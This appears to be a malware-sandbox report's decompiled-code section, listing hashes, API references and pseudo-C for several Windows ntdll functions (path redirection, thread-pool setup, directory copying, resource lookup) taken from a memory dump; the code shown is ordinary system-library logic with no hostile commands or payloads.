ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6A93C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6A943B1F

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: 3b1f72e2d5fa50684cda4f38e343bcf31d47d6c0172754cf8d0b5d8b0de18349
Instruction ID: 71b468b716177af6b90f948344f579f94fac3587a6217bb436434f43233fa97d
Opcode Fuzzy Hash: 3b1f72e2d5fa50684cda4f38e343bcf31d47d6c0172754cf8d0b5d8b0de18349
Instruction Fuzzy Hash: 30B134B19006099FCB15CFA9C940BAEBBF9FB48314F22852EE51AAB351DB34D901CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6A99AE60, Relevance: 15.2, APIs: 5, Strings: 5, Instructions: 247
COMMONCrypto

Download Yara Rule

C-Code - Quality: 91%

			E6A99AE60(signed short* _a4, short* _a8, short* _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				void* _v36;
				void* _v40;
				signed int _v44;
				signed short* _t85;
				unsigned int _t86;
				signed short _t100;
				short* _t109;
				short _t111;
				signed int _t113;
				void* _t130;
				signed short _t132;
				signed int _t133;
				signed short _t135;
				short* _t144;
				signed int _t148;
				signed int _t150;
				int _t151;
				void* _t153;
				void* _t154;
				signed short _t155;
				signed int _t156;
				short* _t159;
				short* _t160;
				signed short* _t161;
				unsigned int _t167;
				signed int _t169;
				unsigned int _t170;
				void* _t172;
				signed short _t176;
				void* _t177;
				int _t178;
				int _t180;
				void* _t183;
				void* _t184;
				signed int _t186;
				void* _t187;
				void* _t188;

				_t85 = _a4;
				_t150 = 0;
				_v40 = 0;
				_t176 =  *_t85 & 0x0000ffff;
				_t155 = _t85[2];
				_t86 = _t176 & 0x0000ffff;
				_v16 = _t155;
				_v24 = 0;
				_v20 = _t176;
				_v12 = 0x5c;
				_v28 = 0x2f;
				_t170 = _t86;
				if(_t86 == 0) {
					L11:
					_v20 = 0;
					asm("sbb eax, eax");
					_v36 = ( ~_t150 & 0xfffffff8) + 8;
					_v8 = _t170 - (_v16 - _t155 & 0xfffffffe);
					_t172 =  *0x6aa06e54;
					_v44 = 0;
					if(_t172 != 0) {
						_t156 =  *0x6aa06e50 & 0x0000ffff;
						_t151 = 0;
						_v20 = _v12;
						if(_t156 == 0) {
							L32:
							_t167 = _v8;
							L33:
							_t100 = _v36 + 0xe + _t151 + _v20 + _t167 + 2;
							_v32 = _t100;
							if(_t100 > 0xfffe) {
								L22:
								return 0xc0000106;
							}
							_t177 = E6A933A1C(_t100 & 0x0000ffff);
							_v36 = _t177;
							if(_t177 != 0) {
								memcpy(_t177, _t172, _t151);
								_t188 = _t187 + 0xc;
								_t153 = _t177 + (_t151 >> 1) * 2;
								_t178 = _v20;
								if(_t178 != 0) {
									memcpy(_t153, L"\\microsoft.system.package.metadata\\Application", _t178);
									_t188 = _t188 + 0xc;
									_t153 = _t153 + (_t178 >> 1) * 2;
								}
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t180 = _v8;
								 *((short*)(_t153 + 0xc)) = _v12;
								_t154 = _t153 + 0xe;
								memcpy(_t154, _v16, _t180);
								_t109 = _t154 + (_t180 >> 1) * 2;
								if(_v24 != 0) {
									 *_t109 = 0;
								} else {
									asm("movsd");
									asm("movsd");
									asm("movsw");
								}
								_t159 = _a8;
								 *((intOrPtr*)(_t159 + 4)) = _v40;
								_t111 = _v44;
								 *((short*)(_t159 + 2)) = _t111;
								 *_t159 = _t111;
								if(_t111 != 0) {
									 *_t159 = _t111 + 0xfffffffe;
								}
								_t160 = _a12;
								 *((intOrPtr*)(_t160 + 4)) = _v36;
								_t113 = _v32 & 0x0000ffff;
								 *(_t160 + 2) = _t113;
								 *_t160 = _t113 + 0xfffffffe;
								return 0;
							}
							L35:
							return 0xc0000017;
						}
						while( *((short*)(_t172 + (_t151 >> 1) * 2)) != 0x3b) {
							_t151 = _t151 + 2;
							if(_t151 < _t156) {
								continue;
							}
							goto L32;
						}
						goto L32;
					}
					_t151 =  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38) & 0x0000ffff;
					_t172 =  *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x3c);
					_v32 = _t172;
					if(( *( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 8) & 0x00000001) == 0) {
						_t172 = _t172 +  *((intOrPtr*)( *[fs:0x30] + 0x10));
						_v32 = _t172;
					}
					_t161 = _t172 + ((_t151 >> 1) - 1) * 2;
					_t130 = _t172;
					while(_t161 > _t172) {
						_t169 =  *_t161 & 0x0000ffff;
						if(_t169 == _v12 || _t169 == _v28) {
							_t130 =  &(_t161[1]);
							L21:
							_t132 = _t130 - _t172 & 0xfffffffe;
							if(_t132 <= 0xfffe) {
								_t133 = _t132 & 0x0000ffff;
								_v28 = _t133;
								if(_t176 > 0xfffc) {
									goto L22;
								}
								_t135 = _v36 + _t133 + _v8 + 2;
								if(_t135 > 0xfffe) {
									goto L22;
								}
								_v44 = _t135 & 0x0000ffff;
								_t183 = E6A933A1C(_t135 & 0x0000ffff);
								_v40 = _t183;
								if(_t183 == 0) {
									goto L35;
								}
								memcpy(_t183, _t172, _v28);
								_t184 = _t183 + (_v28 >> 1) * 2;
								memcpy(_t184, _v16, _v8);
								_t167 = _v8;
								_t187 = _t187 + 0x18;
								_t144 = _t184 + (_t167 >> 1) * 2;
								if(_v24 != 0) {
									 *_t144 = 0;
								} else {
									asm("movsd");
									asm("movsd");
									asm("movsw");
									_t172 = _v32;
								}
								goto L33;
							}
							goto L22;
						} else {
							_t161 = _t161 - 2;
							continue;
						}
					}
					goto L21;
				}
				_t148 = _t155 + ((_t86 >> 1) - 1) * 2;
				if(_t148 <= _t155) {
					goto L11;
				} else {
					goto L2;
				}
				do {
					L2:
					_t186 =  *_t148 & 0x0000ffff;
					if(_t186 != 0x2e) {
						if(_t186 == _v12 || _t186 == _v28) {
							_v16 = _t148 + 2;
							L10:
							_t176 = _v20;
							goto L11;
						} else {
							goto L7;
						}
					} else {
						if(_t150 == 0) {
							_t150 = _t148;
							_v24 = _t150;
						}
					}
					L7:
					_t148 = _t148 - 2;
				} while (_t148 > _t155);
				goto L10;
			}

0x6a99ae68
0x6a99ae6f
0x6a99ae71
0x6a99ae74
0x6a99ae77
0x6a99ae7a
0x6a99ae7d
0x6a99ae80
0x6a99ae83
0x6a99ae86
0x6a99ae8d
0x6a99ae95
0x6a99ae9a
0x6a99aed7
0x6a99aed9
0x6a99aede
0x6a99aee6
0x6a99aef5
0x6a99aef8
0x6a99aefe
0x6a99af03
0x6a99b000
0x6a99b007
0x6a99b00c
0x6a99b011
0x6a99b025
0x6a99b025
0x6a99b028
0x6a99b036
0x6a99b038
0x6a99b040
0x6a99af73
0x00000000
0x6a99af73
0x6a99b04f
0x6a99b051
0x6a99b056
0x6a99b065
0x6a99b06c
0x6a99b06f
0x6a99b072
0x6a99b077
0x6a99b080
0x6a99b085
0x6a99b08a
0x6a99b08a
0x6a99b097
0x6a99b098
0x6a99b099
0x6a99b09a
0x6a99b0a1
0x6a99b0a5
0x6a99b0a9
0x6a99b0b9
0x6a99b0bc
0x6a99b0cd
0x6a99b0be
0x6a99b0c5
0x6a99b0c6
0x6a99b0c7
0x6a99b0c7
0x6a99b0d0
0x6a99b0d6
0x6a99b0d9
0x6a99b0dc
0x6a99b0e0
0x6a99b0e5
0x6a99b0ea
0x6a99b0ea
0x6a99b0ed
0x6a99b0f6
0x6a99b0f9
0x6a99b0fc
0x6a99b103
0x00000000
0x6a99b106
0x6a99b058
0x00000000
0x6a99b058
0x6a99b013
0x6a99b01e
0x6a99b023
0x00000000
0x00000000
0x00000000
0x6a99b023
0x00000000
0x6a99b013
0x6a99af12
0x6a99af1f
0x6a99af28
0x6a99af32
0x6a99af3a
0x6a99af3d
0x6a99af3d
0x6a99af45
0x6a99af48
0x6a99af5e
0x6a99af4c
0x6a99af53
0x6a99af64
0x6a99af67
0x6a99af69
0x6a99af71
0x6a99af82
0x6a99af85
0x6a99af8b
0x00000000
0x00000000
0x6a99af96
0x6a99af9d
0x00000000
0x00000000
0x6a99afa3
0x6a99afab
0x6a99afad
0x6a99afb2
0x00000000
0x00000000
0x6a99afbd
0x6a99afcd
0x6a99afd1
0x6a99afd6
0x6a99afd9
0x6a99afe4
0x6a99afe7
0x6a99affb
0x6a99afe9
0x6a99aff0
0x6a99aff1
0x6a99aff2
0x6a99aff4
0x6a99aff4
0x00000000
0x6a99afe7
0x00000000
0x6a99af5b
0x6a99af5b
0x00000000
0x6a99af5b
0x6a99af53
0x00000000
0x6a99af62
0x6a99ae9f
0x6a99aea4
0x00000000
0x00000000
0x00000000
0x00000000
0x6a99aea6
0x6a99aea6
0x6a99aea6
0x6a99aeac
0x6a99aebd
0x6a99aed1
0x6a99aed4
0x6a99aed4
0x00000000
0x00000000
0x00000000
0x00000000
0x6a99aeae
0x6a99aeb0
0x6a99aeb2
0x6a99aeb4
0x6a99aeb4
0x6a99aeb0
0x6a99aec5
0x6a99aec5
0x6a99aec8
0x00000000

APIs

memcpy.1105(00000000,?,0000002F,?,?,00000000,?,?,?,?,6A9A4109), ref: 6A99AFBD
memcpy.1105(00000000,00000000,?,00000000,?,0000002F,?,?,00000000,?,?,?,?,6A9A4109), ref: 6A99AFD1
memcpy.1105(00000000,?,00000000,?,?,00000000,?,?,?,?,6A9A4109), ref: 6A99B065
memcpy.1105(00000000,\microsoft.system.package.metadata\Application,?,?,00000000,?,?,?,?,6A9A4109), ref: 6A99B080
memcpy.1105(-0000000E,00000000,?,?,00000000,?,?,?,?,6A9A4109), ref: 6A99B0A9

Strings

\microsoft.system.package.metadata\Application, xrefs: 6A99B07A
\, xrefs: 6A99AE86
.Local, xrefs: 6A99B092
/, xrefs: 6A99AE8D
.DLL, xrefs: 6A99AFE9, 6A99B0BE

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy
String ID: .DLL$.Local$/$\$\microsoft.system.package.metadata\Application
API String ID: 3510742995-2518169356
Opcode ID: e6a768b5545cdf892f9f61ef52ad008cd5dc040ca01ec55a6c6e64a9d6aa2071
Instruction ID: 7fa3376f698b2454caf0c5790feb970c8dd5315e7fcaae8758a6fb2d371a5e7a
Opcode Fuzzy Hash: e6a768b5545cdf892f9f61ef52ad008cd5dc040ca01ec55a6c6e64a9d6aa2071
Instruction Fuzzy Hash: EC91D772D01629AFCB14CF9CC8816AEBBB4FF49314F694169E810E7351DB79D906CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A93F86D, Relevance: 15.1, APIs: 10, Instructions: 124
threadmemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6A93F86D(void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t31;
				signed int _t40;
				signed int _t45;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t53;
				intOrPtr _t60;
				signed int* _t66;
				signed int _t67;
				signed int* _t70;
				void* _t71;

				_t64 = __edx;
				_t61 = __ecx;
				_push(0x1c);
				_push(0x6a9efeb8);
				E6A96D08C(__ebx, __edi, __esi);
				_t60 = __edx;
				 *((intOrPtr*)(_t71 - 0x28)) = __edx;
				_t70 = __ecx;
				 *((intOrPtr*)(_t71 - 0x2c)) = __ecx;
				_t66 =  *(_t71 + 8);
				if(_t66 == 0 || __ecx == 0 || __edx == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E6A9E88F5(_t60, _t61, _t64, _t66, _t70, __eflags);
					_t31 = 0xc000000d;
					goto L9;
				} else {
					if( *__ecx == 0) {
						L10:
						 *(_t71 - 0x20) =  *(_t71 - 0x20) & 0x00000000;
						_t67 = E6A943E70(_t71 - 0x20, 0);
						 *(_t71 - 0x24) = _t67;
						__eflags = _t67;
						if(_t67 < 0) {
							L24:
							_t31 = _t67;
							L9:
							return E6A96D0D1(_t31);
						}
						E6A932280(_t36, _t60);
						 *(_t71 - 4) = 1;
						__eflags =  *_t70;
						if( *_t70 != 0) {
							asm("lock inc dword [eax]");
							L21:
							 *(_t71 - 4) = 0xfffffffe;
							E6A93F9DD(_t60);
							_t40 =  *(_t71 - 0x20);
							__eflags = _t40;
							if(__eflags != 0) {
								_push(_t40);
								E6A919100(_t60, _t61, _t67, _t70, __eflags);
							}
							__eflags = _t67;
							if(_t67 >= 0) {
								 *( *(_t71 + 8)) =  *_t70;
							}
							goto L24;
						}
						__eflags = _t70 - 0x6aa086c0;
						if(_t70 != 0x6aa086c0) {
							__eflags = _t70 - 0x6aa086b8;
							if(_t70 != 0x6aa086b8) {
								L20:
								 *_t70 =  *(_t71 - 0x20);
								_t20 = _t71 - 0x20;
								 *_t20 =  *(_t71 - 0x20) & 0x00000000;
								__eflags =  *_t20;
								goto L21;
							}
							E6A945AA0(_t61,  *(_t71 - 0x20), 1);
							_t45 = E6A9195F0( *(_t71 - 0x20), 1);
							L27:
							_t67 = _t45;
							__eflags = _t67;
							 *(_t71 - 0x24) = _t67;
							if(_t67 >= 0) {
								goto L20;
							}
							goto L21;
						}
						_t46 =  *0x6aa08754;
						__eflags = _t46;
						if(_t46 != 0) {
							E6A945AA0(_t61,  *(_t71 - 0x20), _t46);
						} else {
							_t50 =  *0x7ffe03c0 << 3;
							__eflags = _t50 - 0x300;
							if(_t50 < 0x300) {
								_t50 = 0x300;
							}
							E6A945AA0(0x300,  *(_t71 - 0x20), _t50);
							_t53 =  *0x7ffe03c0 << 2;
							_t61 = 0x180;
							__eflags = _t53 - 0x180;
							if(_t53 < 0x180) {
								_t53 = 0x180;
							}
							E6A955C70( *(_t71 - 0x20), _t53);
						}
						_t48 =  *0x6aa08750;
						__eflags = _t48;
						if(_t48 != 0) {
							_t45 = E6A91B8F0( *(_t71 - 0x20), _t48);
							goto L27;
						} else {
							goto L20;
						}
					}
					 *((char*)(_t71 - 0x19)) = 0;
					E6A93FAD0(__edx);
					 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
					if( *_t70 != 0) {
						asm("lock inc dword [eax]");
						 *_t66 =  *_t70;
						 *((char*)(_t71 - 0x19)) = 1;
					}
					 *(_t71 - 4) = 0xfffffffe;
					E6A93F9D6(_t60);
					if( *((char*)(_t71 - 0x19)) == 0) {
						goto L10;
					} else {
						_t31 = 0;
						goto L9;
					}
				}
			}

0x6a93f86d
0x6a93f86d
0x6a93f86d
0x6a93f86f
0x6a93f874
0x6a93f879
0x6a93f87b
0x6a93f87e
0x6a93f880
0x6a93f883
0x6a93f888
0x6a9847c9
0x6a9847ce
0x00000000
0x6a93f8b1
0x6a93f8b4
0x6a93f8f1
0x6a93f8f1
0x6a93f900
0x6a93f902
0x6a93f905
0x6a93f907
0x6a93f9a9
0x6a93f9a9
0x6a93f8e9
0x6a93f8ee
0x6a93f8ee
0x6a93f90e
0x6a93f913
0x6a93f91c
0x6a93f91e
0x6a93f9e4
0x6a93f98b
0x6a93f98b
0x6a93f992
0x6a93f997
0x6a93f99a
0x6a93f99c
0x6a93f9e9
0x6a93f9ea
0x6a93f9ea
0x6a93f99e
0x6a93f9a0
0x6a93f9a7
0x6a93f9a7
0x00000000
0x6a93f9a0
0x6a93f924
0x6a93f92a
0x6a93f9b0
0x6a93f9b6
0x6a93f982
0x6a93f985
0x6a93f987
0x6a93f987
0x6a93f987
0x00000000
0x6a93f987
0x6a93f9be
0x6a93f9c6
0x6a93f9cb
0x6a93f9cb
0x6a93f9cd
0x6a93f9cf
0x6a93f9d2
0x00000000
0x00000000
0x00000000
0x6a93f9d4
0x6a93f930
0x6a93f935
0x6a93f937
0x6a9847a3
0x6a93f93d
0x6a93f942
0x6a93f94a
0x6a93f94c
0x6a93f94e
0x6a93f94e
0x6a93f954
0x6a93f95e
0x6a93f961
0x6a93f966
0x6a93f968
0x6a93f96a
0x6a93f96a
0x6a93f970
0x6a93f970
0x6a93f975
0x6a93f97a
0x6a93f97c
0x6a9847b1
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93f97c
0x6a93f8b6
0x6a93f8bb
0x6a93f8c0
0x6a93f8c8
0x6a93f8ca
0x6a93f8cf
0x6a93f8d1
0x6a93f8d1
0x6a93f8d5
0x6a93f8dc
0x6a93f8e5
0x00000000
0x6a93f8e7
0x6a93f8e7
0x00000000
0x6a93f8e7
0x6a93f8e5

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F9C6

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: a26d679f5b367b89e358f24221798c627a56a634617d516300828d65042664c3
Instruction ID: e79a8e47207360bfa6c706fdd6f0e96789569564df89626e75017a929818a623
Opcode Fuzzy Hash: a26d679f5b367b89e358f24221798c627a56a634617d516300828d65042664c3
Instruction Fuzzy Hash: 2341BFB1A04225EFEB118FA8C844BAEB6B9BF5971CF320519E452EF252DF74DC408B51

Uniqueness

Uniqueness Score: -1.00%

Function 6A915210, Relevance: 15.1, APIs: 10, Instructions: 107
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A915210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				void* _t35;
				int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E6A9152A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *(_t31 + 0x28);
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *(_t61 + 0x10);
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6A9595D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					} else {
						E6A92EB70(_t54, 0x6aa079a0);
					}
					return _t52 + 2;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E6A9595D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
							}
						} else {
							E6A92EB70(_t54, 0x6aa079a0);
						}
						return _t52;
					}
					L5:
					_t33 = memcpy(_a8, _t54, _t52);
					if(_t61 == 0) {
						E6A92EB70(_t54, 0x6aa079a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6A9595D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t35 + _t52)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x6a915220
0x6a915224
0x6a970d13
0x6a970d16
0x6a970d19
0x6a91522a
0x6a91522a
0x6a91522d
0x6a91522d
0x6a915231
0x6a915235
0x6a915239
0x6a970d5c
0x6a970d62
0x00000000
0x00000000
0x6a970d6a
0x6a970d7b
0x6a970d7f
0x6a970d81
0x6a970d84
0x6a970d95
0x6a970d95
0x6a970d6c
0x6a970d71
0x6a970d71
0x00000000
0x6a91524a
0x6a91524a
0x6a915250
0x6a970d24
0x6a970d35
0x6a970d39
0x6a970d3b
0x6a970d3e
0x6a970d50
0x6a970d50
0x6a970d26
0x6a970d2b
0x6a970d2b
0x00000000
0x6a970d55
0x6a915256
0x6a91525b
0x6a915265
0x6a970da7
0x6a91526b
0x6a91526e
0x6a915272
0x6a970db1
0x6a970db4
0x6a970dc5
0x6a970dc5
0x6a915272
0x6a915278
0x6a91527e
0x6a91528a
0x6a91528c
0x6a91528d
0x00000000
0x6a915280
0x6a915282
0x6a915288
0x6a91529f
0x6a915292
0x00000000
0x6a915292
0x00000000
0x6a915288
0x6a91527e

APIs

Part of subcall function 6A9152A5: RtlEnterCriticalSection.1105(6AA079A0,?,00000000,?), ref: 6A9152BF
Part of subcall function 6A9152A5: RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,?,00000000,?), ref: 6A9152DD

memcpy.1105(?,?), ref: 6A91525B
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A970D2B
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A970D71
ZwClose.1105(?), ref: 6A970D84
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6A970D95
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A970DA7
ZwClose.1105(?), ref: 6A970DB4
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6A970DC5

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CloseFreeHeap$Entermemcpy
String ID:
API String ID: 3163955863-0
Opcode ID: fa1d360ceae7f6cc3f20095a09844a1f6be4808272ff2ecfe6b1f0c69455dfa5
Instruction ID: d74c77ae9b49b3f763d36e0254bc4dc20df72d9280c22de5db3cbde91c209b49
Opcode Fuzzy Hash: fa1d360ceae7f6cc3f20095a09844a1f6be4808272ff2ecfe6b1f0c69455dfa5
Instruction Fuzzy Hash: 3031E032655B14EFD731CB28C885B6677B9FF21764F324A1AE8250B1A1EF31ED00C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A9CDF1D, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 166
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6A9CDF1D(char __ecx, void* __edx, intOrPtr _a4, short _a8) {
				WCHAR* _v5;
				void* _v12;
				void* _v16;
				void* _v20;
				intOrPtr _t60;
				signed int _t62;
				signed int _t65;
				struct _EXCEPTION_RECORD _t67;
				signed int _t70;
				WCHAR* _t73;
				WCHAR* _t76;
				signed int _t77;
				signed int _t83;
				signed int _t84;
				WCHAR* _t88;
				WCHAR* _t92;
				intOrPtr _t94;
				signed int _t99;
				signed int _t101;
				signed int _t103;
				signed int _t107;
				void* _t108;
				WCHAR* _t110;
				WCHAR* _t111;
				WCHAR* _t112;
				WCHAR* _t114;
				void* _t115;
				void* _t118;

				_t60 = _a4;
				_t92 = 0;
				_v12 = __ecx;
				_t115 = 0;
				if(_t60 != 1) {
					__eflags = _t60 - 3;
					if(_t60 != 3) {
						__eflags = _t60 - 2;
						if(_t60 != 2) {
							L39:
							__eflags = 0;
							return 0;
						}
						_t62 = _a8;
						__eflags = _t62;
						if(_t62 < 0) {
							goto L39;
						}
						_t94 =  *((intOrPtr*)(__ecx + 0x14));
						_t107 = _t62;
						__eflags = _t107 - ( *(_t94 + 6) & 0x0000ffff);
						if(_t107 >= ( *(_t94 + 6) & 0x0000ffff)) {
							goto L39;
						}
						_t65 = _t107 * 0x1c +  *((intOrPtr*)(_t94 + 0xc));
						__eflags = __edx - _t65;
						L3:
						return _t65 & 0xffffff00 | _t118 == 0x00000000;
					}
					_t67 =  *(__edx + 6) & 0x0000ffff;
					_v16 = 0;
					__eflags = _t67;
					if(_t67 < 0) {
						__eflags =  *(__edx + 4);
						if( *(__edx + 4) == 0) {
							goto L39;
						}
						_t108 = 0x55;
						_t115 = E6A91F358(__ecx, _t108);
						__eflags = _t115;
						if(_t115 == 0) {
							goto L39;
						}
						_v16 = _t115;
						_v20 = 0xaa0000;
						_t70 = E6A923B30( *(__edx + 4) & 0x0000ffff,  &_v20);
						L25:
						__eflags = _t70;
						if(_t70 == 0) {
							__eflags = _t115;
							if(_t115 != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), _t92, _t115);
							}
							goto L39;
						}
						_t110 =  *(_v12 + 0x18);
						__eflags = _t110;
						if(_t110 == 0) {
							L30:
							_t73 = _t92;
							L31:
							__eflags = _t73;
							if(_t73 == 0) {
								L33:
								_v5 = _t92;
								L34:
								__eflags = _t115;
								if(_t115 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), _t92, _t115);
								}
								return _v5;
							}
							_t76 = E6A95E490(_v16, _t73);
							_v5 = 1;
							__eflags = _t76;
							if(_t76 == 0) {
								goto L34;
							}
							goto L33;
						}
						_t77 = _a8;
						__eflags = _t77;
						if(_t77 < 0) {
							goto L30;
						}
						_t99 = _t77;
						__eflags = _t99 - (_t110[3] & 0x0000ffff);
						if(_t99 >= (_t110[3] & 0x0000ffff)) {
							goto L30;
						}
						_t73 = _t110[8] +  *(_t110[6] + _t99 * 2) * 2;
						goto L31;
					}
					__eflags = _t67 - _a8;
					if(_t67 != _a8) {
						_t111 =  *(__ecx + 0x18);
						__eflags = _t111;
						if(_t111 == 0) {
							L18:
							_t114 = _t92;
							L19:
							__eflags = _t114;
							if(__eflags != 0) {
								_t67 =  &_v20;
								RtlInitUnicodeString(_t67, _t114);
								__eflags = _t114;
							}
							_t70 = _t67 & 0xffffff00 | __eflags != 0x00000000;
							goto L25;
						}
						_t101 = _t67;
						_t67 = _t111[3] & 0x0000ffff;
						__eflags = _t101 - _t67;
						if(_t101 >= _t67) {
							goto L18;
						}
						_t67 = _t111[8];
						_t114 = _t67 +  *(_t111[6] + _t101 * 2) * 2;
						goto L19;
					}
					return 1;
				}
				_t83 =  *(__edx + 4) & 0x0000ffff;
				if(_t83 == 0) {
					_t84 =  *(__edx + 6) & 0x0000ffff;
					__eflags = _t84;
					if(_t84 < 0) {
						goto L39;
					}
					_t112 =  *(__ecx + 0x18);
					__eflags = _t112;
					if(_t112 != 0) {
						_t103 = _t84;
						__eflags = _t103 - (_t112[3] & 0x0000ffff);
						if(_t103 < (_t112[3] & 0x0000ffff)) {
							_t92 = _t112[8] +  *(_t112[6] + _t103 * 2) * 2;
						}
					}
					__eflags = _t92;
					if(_t92 == 0) {
						goto L39;
					} else {
						RtlInitUnicodeString( &_v20, _t92);
						_t88 = E6A9243C0( &_v20,  &_v12);
						__eflags = _t88;
						if(_t88 == 0) {
							goto L39;
						}
						_t65 = _v12;
						__eflags = _t65 - _a8;
						goto L3;
					}
				} else {
					_t65 = _a8;
					_t118 = _t83 - _t65;
					goto L3;
				}
			}

0x6a9cdf25
0x6a9cdf2a
0x6a9cdf2c
0x6a9cdf2f
0x6a9cdf36
0x6a9cdfae
0x6a9cdfb0
